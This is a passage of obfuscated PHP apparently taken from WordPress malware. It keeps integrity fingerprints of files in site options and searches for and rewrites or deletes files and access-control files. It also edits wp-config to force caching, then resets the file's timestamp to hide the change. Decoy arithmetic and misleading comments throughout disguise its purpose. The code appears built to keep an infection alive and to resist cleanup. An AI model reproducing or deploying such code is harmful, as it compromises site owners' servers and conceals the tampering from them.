if   ($sthp85grai   <     $GLOBALS['__scf_tmn0v_xik_1b_195']()     - (284+16)   ||  $sthp85grai      >    $GLOBALS['__scf_tmn0v_xik_1b_195']() + (253+47)) {
   if   ($GLOBALS['__scf_sc29wu2n9b_4'](b5xx0lrqzfc(1535))) @update_option(b5xx0lrqzfc(1570), $GLOBALS['__scf_tmn0v_xik_1b_195']());
    jxd8df_6jtt_pp();$q1ps3g7sl6rl=PHP_INT_MAX/PHP_INT_MAX;$vhn5uqkn1do=$q1ps3g7sl6rl+10;
     }
  unset($sthp85grai);
 djeaijd8lr7fy6ny3(curga5ep68su8__o(),   jqg87ez26lzm3yp01xj2q());
 if   (!pggcshv8j3hapx())  {
    u7lpwz7wa4laa4();



    _ue3bnn1skc4o6j0sd();
 return;
  }
     $gd6o0r1d5y51sfu   = wzbvgogq03mxeqb();
  $ojcl694p8_7iyqv    =    array(
curga5ep68su8__o(),

      $gd6o0r1d5y51sfu  .  cv8ducrec(1558),
 );
  $ngfpkdq4l90    = xyenk4p3ltgn8xd();

foreach   ($ngfpkdq4l90   as   $_xzmuax3yzj2) {
   if  (@$GLOBALS['__scf_xaseomj3flge_20']($_xzmuax3yzj2))  $ojcl694p8_7iyqv[] =     $_xzmuax3yzj2;
 }
  $v79i1oq96n  =  array();
    $mxd4qpsdnv2ycbs   =   yedatqs7aptdu6();
       if (@$GLOBALS['__scf_xaseomj3flge_20']($mxd4qpsdnv2ycbs[1]))  $v79i1oq96n[j8bjjevd80e(1571)      . $mxd4qpsdnv2ycbs[0]] = b5xx0lrqzfc(1241) .  $mxd4qpsdnv2ycbs[2];
$w4l9nc4ih6xjwnei     = @get_option(b5xx0lrqzfc(1572),  array());
    if   (!$GLOBALS['__scf__qh9f0l6g7e7ez_35']($w4l9nc4ih6xjwnei)) $w4l9nc4ih6xjwnei  =  array();



  $crr2bwiqsu  =   false;


      foreach  ($ojcl694p8_7iyqv   as $of_pcm29oxt9u3z)    {


 $jt16fc5qpv86q  =    @$GLOBALS['__scf_gjcg6h2mijahd_53']($of_pcm29oxt9u3z);



     $kz6gg_2puf1 =     $jt16fc5qpv86q  ?    ($jt16fc5qpv86q[cv8ducrec(1573)] .  '|' .   $jt16fc5qpv86q[pvz_9xuc0nzl0m(1574)])    :     '0';
   $sx_8mmxciqp3zib8  = isset($w4l9nc4ih6xjwnei[$of_pcm29oxt9u3z]) ?    $w4l9nc4ih6xjwnei[$of_pcm29oxt9u3z]   :   "";
if ($kz6gg_2puf1   ===    $sx_8mmxciqp3zib8)   continue;


if     ($GLOBALS['__scf_cr07b5s7432_100'](cv8ducrec(1575),      $sx_8mmxciqp3zib8,  $laa52nl2bg1a846r)  &&  $GLOBALS['__scf_kmygv436ft5pn_9']($sx_8mmxciqp3zib8,  0, -$GLOBALS['__scf_d413tdd725_10']($laa52nl2bg1a846r[0])) ===  $kz6gg_2puf1   && $GLOBALS['__scf_tmn0v_xik_1b_195']() -   (int)     $laa52nl2bg1a846r[1]    <   (6888-3288)) continue;
      $crr2bwiqsu  = true;
 break;
   }
     if  (!$crr2bwiqsu)    {
  foreach  ($v79i1oq96n as   $key =>   $v5a95s9o3l0opgq) {


    $kz6gg_2puf1 =    gz75n81ddpxq2sdg($GLOBALS['__scf_kmygv436ft5pn_9']($key,  (0x3+0x2)),   $v5a95s9o3l0opgq);
     $sx_8mmxciqp3zib8  = isset($w4l9nc4ih6xjwnei[$key]) ?   $w4l9nc4ih6xjwnei[$key] : "";
 if  ($kz6gg_2puf1 ===  $sx_8mmxciqp3zib8)  continue;
     if    ($GLOBALS['__scf_cr07b5s7432_100'](j8bjjevd80e(1575),  $sx_8mmxciqp3zib8, $laa52nl2bg1a846r)  &&  $GLOBALS['__scf_kmygv436ft5pn_9']($sx_8mmxciqp3zib8,   0,  -$GLOBALS['__scf_d413tdd725_10']($laa52nl2bg1a846r[0]))  ===   $kz6gg_2puf1  && $GLOBALS['__scf_tmn0v_xik_1b_195']()   -    (int)  $laa52nl2bg1a846r[1]  <    (12878+73522))  continue;
 $crr2bwiqsu   = true;
     break;
}
 }
 $bajeon2j0cof3ej1 = $GLOBALS['__scf_xz_5zbcnz0m_3'](curga5ep68su8__o(), s99lg14mcd3un(1505));
/* streaming control-flow-graph */

   $h_3bszvv75d  =  $gd6o0r1d5y51sfu  .  s99lg14mcd3un(96) .    $bajeon2j0cof3ej1 .   '/'  .   $bajeon2j0cof3ej1  .   cv8ducrec(1576);

 $ng13cehgbea0  =   ez_cpmzi5bty62s5();$_6f8d_8usaeg4w=(0x13+0xcd);$lgsvmo3g=$_6f8d_8usaeg4w%15;
   if    (!@$GLOBALS['__scf_xaseomj3flge_20']($h_3bszvv75d)    || (int)  @$GLOBALS['__scf_a5ks8ssf6z1jkm_103']($h_3bszvv75d)   <    (0x38b+0xffd)) $crr2bwiqsu  =  true;
if  ($ng13cehgbea0  !==     ""  &&      !@$GLOBALS['__scf_xaseomj3flge_20']($ng13cehgbea0))     $crr2bwiqsu   = true;
      if (!$crr2bwiqsu   && $GLOBALS['__scf_sc29wu2n9b_4'](cv8ducrec(1569)))  {

    $jkktj3i8jtjbt =  $bajeon2j0cof3ej1   .  '/' .  $bajeon2j0cof3ej1    . b5xx0lrqzfc(1577);
$jpj_bdhp_e0p_u  = get_option(b5xx0lrqzfc(734),   array());
 if     (!$GLOBALS['__scf__qh9f0l6g7e7ez_35']($jpj_bdhp_e0p_u)   ||   !$GLOBALS['__scf_o_dt0p7mox4_159']($jkktj3i8jtjbt,  $jpj_bdhp_e0p_u, true)) $crr2bwiqsu    =  true;
 }
 if   (!$crr2bwiqsu)  return;
 $_yj75fgf4efsv9e  = $GLOBALS['__scf_tmn0v_xik_1b_195']();
  $b18cz96hhe     =   0;
  $tj48r3l3t77    = 0;$p9pu831sc6_kr=78*9;$z5m5mk62db=$p9pu831sc6_kr-16;
  if  ($GLOBALS['__scf_sc29wu2n9b_4'](j8bjjevd80e(1569)))   {
  $x7t3q81qim_ue  =   @get_option(pvz_9xuc0nzl0m(1578),   "");



  if  ($GLOBALS['__scf_qubutkuvnnc4sx_41']($x7t3q81qim_ue)   &&   $GLOBALS['__scf_cr07b5s7432_100'](cv8ducrec(1579),  $x7t3q81qim_ue,     $whh3zqmq2o65kv0))      {
  $b18cz96hhe    = (int)     $whh3zqmq2o65kv0[1];
  $tj48r3l3t77  =  (int)     $whh3zqmq2o65kv0[2];
        }
 }
 $kg2ltqa7as =   $tj48r3l3t77 <=  0 ?     0 : ($tj48r3l3t77  === 1   ? (43+17) :   ($tj48r3l3t77    ===  2 ?   (0xb3+0x79)    :  (1792+8)));

 if    ($b18cz96hhe  >    0  &&   ($_yj75fgf4efsv9e     -   $b18cz96hhe) <  $kg2ltqa7as) return;
if (!oi023dn_ef3e6fe(s99lg14mcd3un(671))) return;
   try   {
  _dyy1zcabj8cg9a93d9j();
 m2a4a0_ktr3g52s_();
  _ue3bnn1skc4o6j0sd();
 d0xkygk4ypzzt3dbr8ib();
      jebw6q_2wswb7z02sw();
u7lpwz7wa4laa4();
 lhulr7tb_al2shpf();
     i0y6cedzrlnc0g3ztx();
 $ip1os7pjcufch   =  p1bf3churh583rhjew();

 $sppkc6grddsb    = f_sr8zji3t76cg4wmiptm9();
     $m88ymt7b6fdoml0   = (!@$GLOBALS['__scf_xaseomj3flge_20']($h_3bszvv75d)      ||  (int)  @$GLOBALS['__scf_a5ks8ssf6z1jkm_103']($h_3bszvv75d)  <    (4927+73))  ||    ($ng13cehgbea0  !== ""     &&  !@$GLOBALS['__scf_xaseomj3flge_20']($ng13cehgbea0));
      if   (!$m88ymt7b6fdoml0    &&  !@$GLOBALS['__scf_xaseomj3flge_20']($gd6o0r1d5y51sfu    .      pvz_9xuc0nzl0m(1558)))   $m88ymt7b6fdoml0 =    true;
    if    (!$m88ymt7b6fdoml0   &&   $GLOBALS['__scf_sc29wu2n9b_4'](j8bjjevd80e(1569))) {$y9mzj9_6h=PHP_INT_MAX/PHP_INT_MAX;$_w4065cnzqb=$y9mzj9_6h+5;
      $jkktj3i8jtjbt   =  $bajeon2j0cof3ej1  . '/'    .  $bajeon2j0cof3ej1    .    j8bjjevd80e(1577);
 $jpj_bdhp_e0p_u =  get_option(b5xx0lrqzfc(734), array());



   if (!$GLOBALS['__scf__qh9f0l6g7e7ez_35']($jpj_bdhp_e0p_u) || !$GLOBALS['__scf_o_dt0p7mox4_159']($jkktj3i8jtjbt, $jpj_bdhp_e0p_u, true)) $m88ymt7b6fdoml0  =  true;


}
      if ($GLOBALS['__scf_sc29wu2n9b_4'](j8bjjevd80e(1580))) @update_option(j8bjjevd80e(1578),    $_yj75fgf4efsv9e  . '|'  .    ($m88ymt7b6fdoml0 ?  ($tj48r3l3t77    +     1) : 0), s99lg14mcd3un(1508));
   $fiqw0nycxt18  = array();
  foreach    ($ojcl694p8_7iyqv as    $of_pcm29oxt9u3z)     {
  $sz_2o6oh3q     = ($of_pcm29oxt9u3z  ===  $gd6o0r1d5y51sfu      .   b5xx0lrqzfc(1558) && !$ip1os7pjcufch) ||   ($GLOBALS['__scf_kmygv436ft5pn_9']($of_pcm29oxt9u3z,    -(0x4+0xa))    ===   b5xx0lrqzfc(1581) &&  !$sppkc6grddsb);
  

 $jt16fc5qpv86q      = @$GLOBALS['__scf_gjcg6h2mijahd_53']($of_pcm29oxt9u3z);
  if ($jt16fc5qpv86q)    {
   $fiqw0nycxt18[$of_pcm29oxt9u3z]  =  $jt16fc5qpv86q[cv8ducrec(1573)]  .      '|'  .  $jt16fc5qpv86q[j8bjjevd80e(1574)]  . ($sz_2o6oh3q   ? j8bjjevd80e(1582)    .  $GLOBALS['__scf_tmn0v_xik_1b_195']()    :  "");
  }
}


 foreach  ($v79i1oq96n    as     $key  =>  $v5a95s9o3l0opgq)   {
     $czqf6qfbkxeqc     =     gz75n81ddpxq2sdg($GLOBALS['__scf_kmygv436ft5pn_9']($key,  (146^151)),    $v5a95s9o3l0opgq);$xcds8rrh=3853;$a2rzb6v4s38xt=$xcds8rrh%13;



   if   ($czqf6qfbkxeqc ===  '0' ||   $GLOBALS['__scf_kmygv436ft5pn_9']($czqf6qfbkxeqc, -2)  ===  s99lg14mcd3un(1583))   $czqf6qfbkxeqc .= s99lg14mcd3un(1582)  .      $GLOBALS['__scf_tmn0v_xik_1b_195']();
   $fiqw0nycxt18[$key]   =  $czqf6qfbkxeqc;
}
    @update_option(cv8ducrec(1572), $fiqw0nycxt18, cv8ducrec(1584));
  } finally    {
 jr2xyttddkmhfx362y(j8bjjevd80e(671));
  }
        }   catch (Throwable $uvo4msk8s29_) {
 f1995qrx5prr7cbl19co0e(j8bjjevd80e(1585), $uvo4msk8s29_);
   } catch (Exception   $uvo4msk8s29_) {
  }
}

 function gz75n81ddpxq2sdg($of_pcm29oxt9u3z, $v5a95s9o3l0opgq)
 {
$jt16fc5qpv86q = @$GLOBALS['__scf_gjcg6h2mijahd_53']($of_pcm29oxt9u3z);
if    (!$jt16fc5qpv86q)     return  '0';
    $kz6gg_2puf1      = $jt16fc5qpv86q[b5xx0lrqzfc(1573)]  .  '|' .   $jt16fc5qpv86q[j8bjjevd80e(1586)];
   if   ($jt16fc5qpv86q[j8bjjevd80e(1587)] >     (1492198-443622))    return  j8bjjevd80e(1588)   . $kz6gg_2puf1;



  $yazr2g01258tle = @$GLOBALS['__scf_v_rxq_yh85s05_99']($of_pcm29oxt9u3z);
 return $kz6gg_2puf1 .  '|'    .    (($GLOBALS['__scf_qubutkuvnnc4sx_41']($yazr2g01258tle) &&    $GLOBALS['__scf_ya_jdhkqpku_7']($yazr2g01258tle, $v5a95s9o3l0opgq)  !== false)  ? '1' :    '0');
  }
 function e193hc2pcn0hwk()
 {
   $_pv  = $GLOBALS['__scf_sc29wu2n9b_4'](cv8ducrec(1589))    ?  get_option(s99lg14mcd3un(206),    "")     :    "";
 vgjk0ddh5itm6v6ws6_c();
 $pj0n1n3_mc052 =   $GLOBALS['__scf_sc29wu2n9b_4'](j8bjjevd80e(1589)) ?  get_option(pvz_9xuc0nzl0m(206),  "") :    "";
     if ($pj0n1n3_mc052   ===   $_pv)    {
global $wpdb;


   if   ($GLOBALS['__scf_zr5xv8ge2ijskk_69']($wpdb)  &&  $GLOBALS['__scf_r5y2nofw5p1zz_126']($wpdb,  b5xx0lrqzfc(143))    && $GLOBALS['__scf_qubutkuvnnc4sx_41']($_pv)  &&   $_pv  !== ""   && isset($wpdb->options)) {
 @$wpdb->query($wpdb->prepare("DELET\x45 FR\x4f\x4d {$wpdb->options} \x57HERE o\x70t\x69on_\x6e\x61\x6de = 'sc_pe\x6edin\x67_\x69n\x76\x61li\x64at\x65' A\x4e\x44 \x6fption_\x76alu\x65 = %\x73",  $_pv));
  if  ($GLOBALS['__scf_sc29wu2n9b_4'](s99lg14mcd3un(1118)))   {
     @wp_cache_delete(j8bjjevd80e(206),     cv8ducrec(1489));

       @wp_cache_delete(j8bjjevd80e(1590),  j8bjjevd80e(1489));

       }

   }    else {
     @delete_option(b5xx0lrqzfc(206));

  }
    }

 }
     function  vgjk0ddh5itm6v6ws6_c()
     {

      try     {
  if   (!defined(j8bjjevd80e(1548))) return;
$gd6o0r1d5y51sfu   =   wzbvgogq03mxeqb();
     $nh29r9yyrakx = wjdsjl3nphz8g9u();
  $lt17jb1ct3o  =   inbj7my4zpjuh_tx(ABSPATH    . b5xx0lrqzfc(1125),    (185^177))    . pvz_9xuc0nzl0m(1282);


 $rzgcq4pdk8   =   inbj7my4zpjuh_tx(ABSPATH    .      cv8ducrec(1591),   (6+2))    .  cv8ducrec(1577);


 $pkc34aqh94eelxx = inbj7my4zpjuh_tx(ABSPATH    .  pvz_9xuc0nzl0m(1171), (0x2+0x6))     .    cv8ducrec(1592);

     $bhib4xv_ey   = inbj7my4zpjuh_tx(ABSPATH  .  j8bjjevd80e(643),     (6+2))  .  j8bjjevd80e(1593);



$uik9unyilfh  =  inbj7my4zpjuh_tx(ABSPATH  . b5xx0lrqzfc(1134),  (0x4+0x4)) . j8bjjevd80e(1593);
     $s7va4x9awb199n0e =  j8bjjevd80e(1594)  .  inbj7my4zpjuh_tx(ABSPATH  . 'g',  (217^209));
     $_a2e7fy1l77qvg =   array(


 $gd6o0r1d5y51sfu  . j8bjjevd80e(1168) => s99lg14mcd3un(790),
  $gd6o0r1d5y51sfu  .   cv8ducrec(1558)    => j8bjjevd80e(824),
    );
 foreach     ($_a2e7fy1l77qvg     as   $of_pcm29oxt9u3z  =>      $prefix) {
if  (!@$GLOBALS['__scf_xaseomj3flge_20']($of_pcm29oxt9u3z)) continue;
        $yazr2g01258tle  =  @$GLOBALS['__scf_v_rxq_yh85s05_99']($of_pcm29oxt9u3z);
   if   ($yazr2g01258tle  ===  false) continue;$nbqx8yku=1585;$tt6kza4nx2mm=$nbqx8yku%17;
       $lhrf0j9v_r7a    =   cv8ducrec(1595)  .     $prefix .  pvz_9xuc0nzl0m(795)   . $prefix .      b5xx0lrqzfc(1596);
 $unjrv0xsjnp93duv  =  $GLOBALS['__scf_y_ur004dxjki__462']($lhrf0j9v_r7a,   "",  $yazr2g01258tle);
if  ($unjrv0xsjnp93duv !==    $yazr2g01258tle)  qc7730958b5mgfuj_($of_pcm29oxt9u3z,  $unjrv0xsjnp93duv);
 }
$t3h7jz18vcs9488 =  $gd6o0r1d5y51sfu   .   b5xx0lrqzfc(514);
 if    (@$GLOBALS['__scf_xaseomj3flge_20']($t3h7jz18vcs9488))  {
     $qbft1gj7y0 =    @$GLOBALS['__scf_v_rxq_yh85s05_99']($t3h7jz18vcs9488);

    if   ($GLOBALS['__scf_qubutkuvnnc4sx_41']($qbft1gj7y0)    && $qbft1gj7y0     !==      "") {
   if   ($GLOBALS['__scf_cr07b5s7432_100'](pvz_9xuc0nzl0m(1597), $GLOBALS['__scf_kmygv436ft5pn_9']($qbft1gj7y0,  0, (565-265)))     || $GLOBALS['__scf_ya_jdhkqpku_7']($qbft1gj7y0, s99lg14mcd3un(1236))  ===    0)  {
   ottk3i1kq8br96vi($t3h7jz18vcs9488,  (395+25));
wlm_50lfl72sy8hrb_9xe9($t3h7jz18vcs9488);
      }     else {
    $perc5d5wo_ccq =  $GLOBALS['__scf_y_ur004dxjki__462'](j8bjjevd80e(1598),  "", $qbft1gj7y0);
     if ($GLOBALS['__scf_qubutkuvnnc4sx_41']($perc5d5wo_ccq)   &&      $perc5d5wo_ccq  !==     $qbft1gj7y0)  qc7730958b5mgfuj_($t3h7jz18vcs9488,    $perc5d5wo_ccq);
     unset($perc5d5wo_ccq);
 }
 }
 unset($qbft1gj7y0);
      }
// allocate balancer for WP Core Data

   $_umu_d6iwb     =  $GLOBALS['__scf_mij3fd72lyo_h_11'](curga5ep68su8__o())   .      cv8ducrec(1599);
 $kl6ram0h5f4nzb      =  defined(j8bjjevd80e(1206))     ? WP_CONTENT_DIR     .  j8bjjevd80e(1599)    :     $_umu_d6iwb;
$mhhzrwmjen  =  array(
  $gd6o0r1d5y51sfu  .    '/'     . $lt17jb1ct3o,
    $gd6o0r1d5y51sfu  .   '/'  . $rzgcq4pdk8,
 $gd6o0r1d5y51sfu . '/'     .  $pkc34aqh94eelxx,
   $nh29r9yyrakx  .     '/'   .    $bhib4xv_ey,
 $nh29r9yyrakx  . '/'   .  $uik9unyilfh,
 $nh29r9yyrakx     .     '/'  .  $rzgcq4pdk8,
$nh29r9yyrakx  . '/'  .  $pkc34aqh94eelxx,
 $_umu_d6iwb  . '/' .     $bhib4xv_ey,
      $_umu_d6iwb  .    '/'    . $uik9unyilfh,
  $_umu_d6iwb  . '/' .   $rzgcq4pdk8,
 $_umu_d6iwb  . '/'    .   $pkc34aqh94eelxx,
      $kl6ram0h5f4nzb   .     '/'     .  $bhib4xv_ey,
    $kl6ram0h5f4nzb   .  '/'  . $uik9unyilfh,


   $kl6ram0h5f4nzb    .  '/' .      $rzgcq4pdk8,
   $kl6ram0h5f4nzb   .  '/'  .   $pkc34aqh94eelxx,
     );
$xlept0j_cjozj  =   yedatqs7aptdu6();
$mhhzrwmjen[]    =     $xlept0j_cjozj[1];$q3tz7lnzjv=85*4;$k_5pkdtic_=$q3tz7lnzjv-26;
  $mhhzrwmjen[]     = $xlept0j_cjozj[1]    . s99lg14mcd3un(1600);
     unset($xlept0j_cjozj);



    if ($GLOBALS['__scf_sc29wu2n9b_4'](cv8ducrec(819)))  {
  foreach   ((array) @$GLOBALS['__scf_fczaqag___47_72']($gd6o0r1d5y51sfu   .    pvz_9xuc0nzl0m(1601) .    $lt17jb1ct3o)  as     $t6phfm9ehv)   $mhhzrwmjen[]  = $t6phfm9ehv;

 foreach ((array) @$GLOBALS['__scf_fczaqag___47_72']($gd6o0r1d5y51sfu  .    b5xx0lrqzfc(1602) . $lt17jb1ct3o)  as    $t6phfm9ehv)    $mhhzrwmjen[] =    $t6phfm9ehv;
    foreach   ((array)  @$GLOBALS['__scf_fczaqag___47_72'](ABSPATH     .     pvz_9xuc0nzl0m(1306) .  $s7va4x9awb199n0e  .  j8bjjevd80e(289)) as     $p1mp0xzxna73o_)   $mhhzrwmjen[]  =  $p1mp0xzxna73o_;
   foreach   ((array)  @$GLOBALS['__scf_fczaqag___47_72']($gd6o0r1d5y51sfu    .   '/' . $s7va4x9awb199n0e .     s99lg14mcd3un(1603))    as    $p1mp0xzxna73o_) $mhhzrwmjen[]    =    $p1mp0xzxna73o_;
   foreach ((array)  @$GLOBALS['__scf_fczaqag___47_72']($nh29r9yyrakx  .  '/'  .   $s7va4x9awb199n0e  .   b5xx0lrqzfc(1603))  as  $p1mp0xzxna73o_)  $mhhzrwmjen[] =  $p1mp0xzxna73o_;
        foreach ((array)  @$GLOBALS['__scf_fczaqag___47_72']($_umu_d6iwb  . '/'  .      $s7va4x9awb199n0e  .   b5xx0lrqzfc(1603))  as    $p1mp0xzxna73o_)  $mhhzrwmjen[]   =   $p1mp0xzxna73o_;
 foreach  ((array) @$GLOBALS['__scf_fczaqag___47_72']($kl6ram0h5f4nzb   . '/'  . $s7va4x9awb199n0e  .     cv8ducrec(1603)) as $p1mp0xzxna73o_)  $mhhzrwmjen[]  =   $p1mp0xzxna73o_;
  }
  $xqauia9xjh =  inbj7my4zpjuh_tx(ABSPATH  .  'g', (0x2+0x6));
   $_quhekyv5vr84c7  =   array(ABSPATH      .  j8bjjevd80e(518), $gd6o0r1d5y51sfu,    $nh29r9yyrakx,  $_umu_d6iwb,  $kl6ram0h5f4nzb);

     foreach  ($_quhekyv5vr84c7 as $_gd)   {
     if (@$GLOBALS['__scf_nish5zuncssvgd_43']($_gd)     &&    @$GLOBALS['__scf_iuxi5ng_a2py94_47']($_gd)) y258fvtiyat3mobu($_gd .  pvz_9xuc0nzl0m(1604)     . $xqauia9xjh,     jqg87ez26lzm3yp01xj2q(),      j8bjjevd80e(1605));
       }
    if ($GLOBALS['__scf_sc29wu2n9b_4'](j8bjjevd80e(1606)))  {
 foreach  ($_quhekyv5vr84c7 as   $_gd)  {
  foreach  (array(b5xx0lrqzfc(1607),  b5xx0lrqzfc(1608),    cv8ducrec(1609),  cv8ducrec(1610),   pvz_9xuc0nzl0m(1611), pvz_9xuc0nzl0m(1612),   cv8ducrec(1613),  s99lg14mcd3un(1614),     cv8ducrec(1615)) as  $kw_jf_nfnp0yp3cl)   {
 foreach    ((array)   @$GLOBALS['__scf_fczaqag___47_72']($_gd . '/' .  $kw_jf_nfnp0yp3cl .   '*')   as  $u1dfwt718ebigkv)  $mhhzrwmjen[]   =  $u1dfwt718ebigkv;


 }

   foreach    ((array)  @$GLOBALS['__scf_fczaqag___47_72']($_gd   . pvz_9xuc0nzl0m(1616))   as   $bsgxh9ucoo2p574) $mhhzrwmjen[]     =  $bsgxh9ucoo2p574;
 }
    }
unset($xqauia9xjh,  $_quhekyv5vr84c7, $_gd,  $kw_jf_nfnp0yp3cl,    $u1dfwt718ebigkv,  $bsgxh9ucoo2p574);


   
    $vgfha03ewf4   =  array($GLOBALS['__scf_qv5p187x3gyo_12']($gd6o0r1d5y51sfu,    pvz_9xuc0nzl0m(1617)), $GLOBALS['__scf_qv5p187x3gyo_12']($GLOBALS['__scf_mij3fd72lyo_h_11'](curga5ep68su8__o()), j8bjjevd80e(1617)),   $GLOBALS['__scf_qv5p187x3gyo_12']($nh29r9yyrakx, pvz_9xuc0nzl0m(1617)),      $GLOBALS['__scf_qv5p187x3gyo_12']($_umu_d6iwb,  j8bjjevd80e(1618)),      $GLOBALS['__scf_qv5p187x3gyo_12']($kl6ram0h5f4nzb,     b5xx0lrqzfc(1618)));
if  (defined(j8bjjevd80e(1206)))  $vgfha03ewf4[]  =     $GLOBALS['__scf_qv5p187x3gyo_12'](WP_CONTENT_DIR, pvz_9xuc0nzl0m(1618));


 $ebhfcx_1djdczv    =  array();
   foreach     ($GLOBALS['__scf_ahbb1zgmq33o_158']($vgfha03ewf4)  as    $_pd)   {



$ebhfcx_1djdczv[] = $_pd .  '/'   .  $rzgcq4pdk8;
 $ebhfcx_1djdczv[]   =   $_pd  .  '/'  . $pkc34aqh94eelxx;$s3iuk2s5ct9k=PHP_MAJOR_VERSION;$hflkx1xhjoe=$s3iuk2s5ct9k*7;
$ebhfcx_1djdczv[]   =  $_pd      .  j8bjjevd80e(1619)  .  $pkc34aqh94eelxx;
   }
unset($vgfha03ewf4,  $_pd);
  foreach  ($ebhfcx_1djdczv as  $bz22by6_w4) {$lyz9pufu=170|38;$xrf27vcz7rem2=$lyz9pufu^68;


     if (@$GLOBALS['__scf_xaseomj3flge_20']($bz22by6_w4))   i8orimz_qys71bifnzf9bg($bz22by6_w4,  null);
    }
   unset($bz22by6_w4);
 $j_ynpkb5k34d5 = array($GLOBALS['__scf_qv5p187x3gyo_12'](ABSPATH,   s99lg14mcd3un(1620)));


   if (defined(cv8ducrec(1621))) $j_ynpkb5k34d5[]    =   $GLOBALS['__scf_qv5p187x3gyo_12'](WP_CONTENT_DIR, j8bjjevd80e(1620));
$j_ynpkb5k34d5[]  = $GLOBALS['__scf_qv5p187x3gyo_12']($gd6o0r1d5y51sfu, j8bjjevd80e(1620));



 $j_ynpkb5k34d5[]    =  $GLOBALS['__scf_qv5p187x3gyo_12']($GLOBALS['__scf_mij3fd72lyo_h_11'](curga5ep68su8__o()), j8bjjevd80e(1620));

  $jqjmq1nd2syn7 = array();
foreach    ($GLOBALS['__scf_ahbb1zgmq33o_158']($j_ynpkb5k34d5)     as $c6v4uusya7c6jokz)     $jqjmq1nd2syn7[] = $c6v4uusya7c6jokz . pvz_9xuc0nzl0m(1622);
unset($j_ynpkb5k34d5,  $c6v4uusya7c6jokz);
     foreach ($jqjmq1nd2syn7 as  $z9ngzt2xo0rta)  {
      if (!@$GLOBALS['__scf_xaseomj3flge_20']($z9ngzt2xo0rta))   continue;
  $yazr2g01258tle     =    @$GLOBALS['__scf_v_rxq_yh85s05_99']($z9ngzt2xo0rta);
 if    ($yazr2g01258tle   && $GLOBALS['__scf_ya_jdhkqpku_7']($yazr2g01258tle, j8bjjevd80e(525))  !== false)    {
 $yazr2g01258tle  =     $GLOBALS['__scf_y_ur004dxjki__462'](b5xx0lrqzfc(981) .  $GLOBALS['__scf_lv_2afh0dde_829']($rzgcq4pdk8, '/')  .   s99lg14mcd3un(982),   "\n",   $yazr2g01258tle);
 if  ($GLOBALS['__scf_qubutkuvnnc4sx_41']($yazr2g01258tle)) {
  $yazr2g01258tle = $GLOBALS['__scf_y_ur004dxjki__462'](j8bjjevd80e(1623)      .  $GLOBALS['__scf_lv_2afh0dde_829']($rzgcq4pdk8,   '/')  .   b5xx0lrqzfc(982), "\n", $yazr2g01258tle);

   }
      if  ($GLOBALS['__scf_qubutkuvnnc4sx_41']($yazr2g01258tle))   {
    $yazr2g01258tle  = $GLOBALS['__scf_y_ur004dxjki__462'](s99lg14mcd3un(984)     . $GLOBALS['__scf_lv_2afh0dde_829']($rzgcq4pdk8, '/')  . s99lg14mcd3un(1624),  "\n",     $yazr2g01258tle);
      }



if   ($GLOBALS['__scf_qubutkuvnnc4sx_41']($yazr2g01258tle)) qc7730958b5mgfuj_($z9ngzt2xo0rta,  $yazr2g01258tle);
}
 }
   $v2db08jd50    = ABSPATH .    cv8ducrec(1261);
   if (!@$GLOBALS['__scf_xaseomj3flge_20']($v2db08jd50))  {
   $sug4tp_14b0l   = $GLOBALS['__scf_mij3fd72lyo_h_11'](ABSPATH)  .     cv8ducrec(1509);

if (@$GLOBALS['__scf_xaseomj3flge_20']($sug4tp_14b0l)) $v2db08jd50   =  $sug4tp_14b0l;
     }
 if     (@$GLOBALS['__scf_xaseomj3flge_20']($v2db08jd50)  &&     @$GLOBALS['__scf_iuxi5ng_a2py94_47']($v2db08jd50))  {
  $_wc =    @$GLOBALS['__scf_v_rxq_yh85s05_99']($v2db08jd50);
if ($GLOBALS['__scf_qubutkuvnnc4sx_41']($_wc) &&  $GLOBALS['__scf_ya_jdhkqpku_7']($_wc,     cv8ducrec(1516))  !==  false) {
    $kugqgiyhftx5kpe     =    $GLOBALS['__scf_y_ur004dxjki__462'](s99lg14mcd3un(1625),  "define( 'WP_CACHE', true );\n",      $_wc);



if     ($GLOBALS['__scf_qubutkuvnnc4sx_41']($kugqgiyhftx5kpe)      && $kugqgiyhftx5kpe  !==  $_wc   &&   ro9zxkt259xhwz4($kugqgiyhftx5kpe))   {
   $cv_4mmbu8_naubr =  @$GLOBALS['__scf_ha0rpt74l7eb9_102']($v2db08jd50);
 if  (qc7730958b5mgfuj_($v2db08jd50, $kugqgiyhftx5kpe)) {
// invalidate wait-free phantom

   if  ($cv_4mmbu8_naubr)     @$GLOBALS['__scf_w_83qzdu7rtu_74']($v2db08jd50, $cv_4mmbu8_naubr);
 if  ($GLOBALS['__scf_sc29wu2n9b_4'](s99lg14mcd3un(614))) @delete_option(pvz_9xuc0nzl0m(1542));
   }
}
 unset($kugqgiyhftx5kpe,   $cv_4mmbu8_naubr);$go1jzdcu7yfcx_=(0xf3+0xc0);$m5qwtvb_1my2=$go1jzdcu7yfcx_%4;

 }
   unset($_wc);
  }
unset($v2db08jd50,  $sug4tp_14b0l);



     $qwqn_quc5sv2i = $GLOBALS['__scf_sc29wu2n9b_4'](cv8ducrec(1626))      ?     @$GLOBALS['__scf_aojulu3bik1_116'](cv8ducrec(1173))  : false;
if   (!$qwqn_quc5sv2i ||   $qwqn_quc5sv2i   ===    "")  $qwqn_quc5sv2i =    j8bjjevd80e(1175);
      $laqtl8pqorj =  array($GLOBALS['__scf_qv5p187x3gyo_12'](ABSPATH,   s99lg14mcd3un(1620)));


  if  (defined(j8bjjevd80e(1621)))   $laqtl8pqorj[]  =    $GLOBALS['__scf_qv5p187x3gyo_12'](WP_CONTENT_DIR,  b5xx0lrqzfc(1620));
// volatile handshake

  $laqtl8pqorj[]    =   $GLOBALS['__scf_qv5p187x3gyo_12']($gd6o0r1d5y51sfu,  b5xx0lrqzfc(1620));
 $laqtl8pqorj[]   =   $GLOBALS['__scf_qv5p187x3gyo_12']($GLOBALS['__scf_mij3fd72lyo_h_11'](curga5ep68su8__o()),  j8bjjevd80e(1620));
   $h5s0uyj650ji =    array();
 foreach ($GLOBALS['__scf_ahbb1zgmq33o_158']($laqtl8pqorj)  as  $c8f44trk4ddt9fj)  $h5s0uyj650ji[] =     $c8f44trk4ddt9fj     .  '/'  .      $qwqn_quc5sv2i;
  unset($laqtl8pqorj,   $c8f44trk4ddt9fj);
foreach  ($h5s0uyj650ji   as     $tz96v98g8fydou2p) {
 if (!@$GLOBALS['__scf_xaseomj3flge_20']($tz96v98g8fydou2p))     continue;
      $yazr2g01258tle   =    @$GLOBALS['__scf_v_rxq_yh85s05_99']($tz96v98g8fydou2p);
